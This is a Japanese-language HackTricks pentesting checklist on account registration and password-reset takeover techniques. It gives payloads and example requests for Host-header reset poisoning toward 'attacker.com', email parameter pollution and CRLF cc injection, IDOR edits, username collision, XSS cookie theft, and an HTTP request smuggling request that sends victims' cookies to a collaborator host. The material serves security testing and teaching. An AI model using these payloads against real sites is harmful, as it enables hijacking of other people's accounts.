12 KiB
登録と乗っ取りの脆弱性
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
登録の乗っ取り
重複登録
- 既存のユーザー名を使用して生成しようとしてみてください
- メールを変えてみてください:
- 大文字
- +1@
- メールに何か追加してください
- メール名に特殊文字を使用する(%00、%09、%20)
- メールの後に黒い文字を入れてください:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
ユーザー名の列挙
アプリケーション内で既にユーザー名が登録されているかどうかを確認してください。
パスワードポリシー
ユーザーを作成する際にパスワードポリシーをチェックしてください(弱いパスワードを使用できるかどうかを確認してください)。
その場合、資格情報のブルートフォースを試みることができます。
SQLインジェクション
このページをチェックして、登録フォームでのSQLインジェクションを使用してアカウントの乗っ取りや情報の抽出を試みる方法を学びます。
Oauthの乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAMLの脆弱性
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
メールの変更
登録後、メールを変更して、この変更が正しく検証されるか、または任意のメールに変更できるかを確認してください。
その他のチェック
- 使い捨てメールを使用できるかどうかを確認してください
- 長い パスワード(>200)はDoSにつながります
- アカウント作成のレート制限を確認してください
- username@burp_collab.netを使用し、コールバックを分析してください
パスワードリセットの乗っ取り
リファラ経由のパスワードリセットトークンの漏洩
- メールアドレスに対してパスワードリセットをリクエストします
- パスワードリセットリンクをクリックします
- パスワードを変更しないでください
- 3rdパーティのウェブサイト(例:Facebook、Twitter)をクリックします
- Burp Suiteプロキシでリクエストをインターセプトします
- リファラヘッダがパスワードリセットトークンを漏洩しているかどうかを確認します。
パスワードリセットの改ざん
- Burp Suiteでパスワードリセットリクエストをインターセプトします
- Burp Suiteで次のヘッダを追加または編集します:
Host: attacker.com
、X-Forwarded-Host: attacker.com
- 修正されたヘッダでリクエストを転送します
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- _hostヘッダ_に基づいたパスワードリセットURLを探します。例:
https://attacker.com/reset-password.php?token=TOKEN
メールパラメータ経由のパスワードリセット
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
APIパラメーターにおけるIDOR
- 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動します。
- Burp Suiteを起動し、リクエストをインターセプトします。
- リクエストをリピータータブに送信し、パラメーターを編集します:ユーザーID/メール
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
弱いパスワードリセットトークン
パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。
トークンが期限切れになるか、常に同じかどうかを判断してください。一部の場合、生成アルゴリズムが弱く、推測される可能性があります。以下の変数がアルゴリズムで使用される場合があります。
- タイムスタンプ
- ユーザーID
- ユーザーのメールアドレス
- 名前と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス([A-Z,a-z,0-9]の文字)
- トークンの再利用
- トークンの有効期限
パスワードリセットトークンの漏洩
- 特定のメールアドレス(例:test@mail.com)に対してAPI/UIを使用してパスワードリセットリクエストをトリガーします。
- サーバーのレスポンスを検査し、
resetToken
を確認します。 - 次に、次のようなURLでトークンを使用します:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
ユーザー名の衝突によるパスワードリセット
- ユーザー名が被害者のユーザー名と同じであるが、ユーザー名の前後に空白が挿入されたシステムに登録します。例:
"admin "
- 悪意のあるユーザー名でパスワードリセットをリクエストします。
- メールで送信されたトークンを使用して被害者のパスワードをリセットします。
- 新しいパスワードで被害者のアカウントに接続します。
この攻撃は、CTFdプラットフォームに対して有効でした。
参照:CVE-2020-7245
クロスサイトスクリプティングによるアカウント乗っ取り
- アプリケーションまたはサブドメイン内でXSSを見つけます(クッキーが親ドメインにスコープされている場合は、
*.domain.com
)。 - 現在のセッションクッキーを漏洩させます。
- クッキーを使用してユーザーとして認証します。
HTTPリクエストスマグリングによるアカウント乗っ取り
- smugglerを使用してHTTPリクエストスマグリングのタイプを検出します(CL、TE、CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\ - 次のデータで
POST / HTTP/1.1
を上書きするリクエストを作成します:
GET http://something.burpcollaborator.net HTTP/1.1 X:
目的は、被害者をburpcollabにリダイレクトし、クッキーを盗むことです。\ - 最終的なリクエストは以下のようになります。
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackeroneの報告によると、このバグを悪用する方法があります。
CSRFによるアカウント乗っ取り
- CSRFのためのペイロードを作成します。例:「パスワード変更のための自動送信HTMLフォーム」
- ペイロードを送信します。
JWTによるアカウント乗っ取り
JSON Web Tokenはユーザーの認証に使用される場合があります。
- 別のユーザーID/メールでJWTを編集します。
- 弱いJWT署名をチェックします。
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。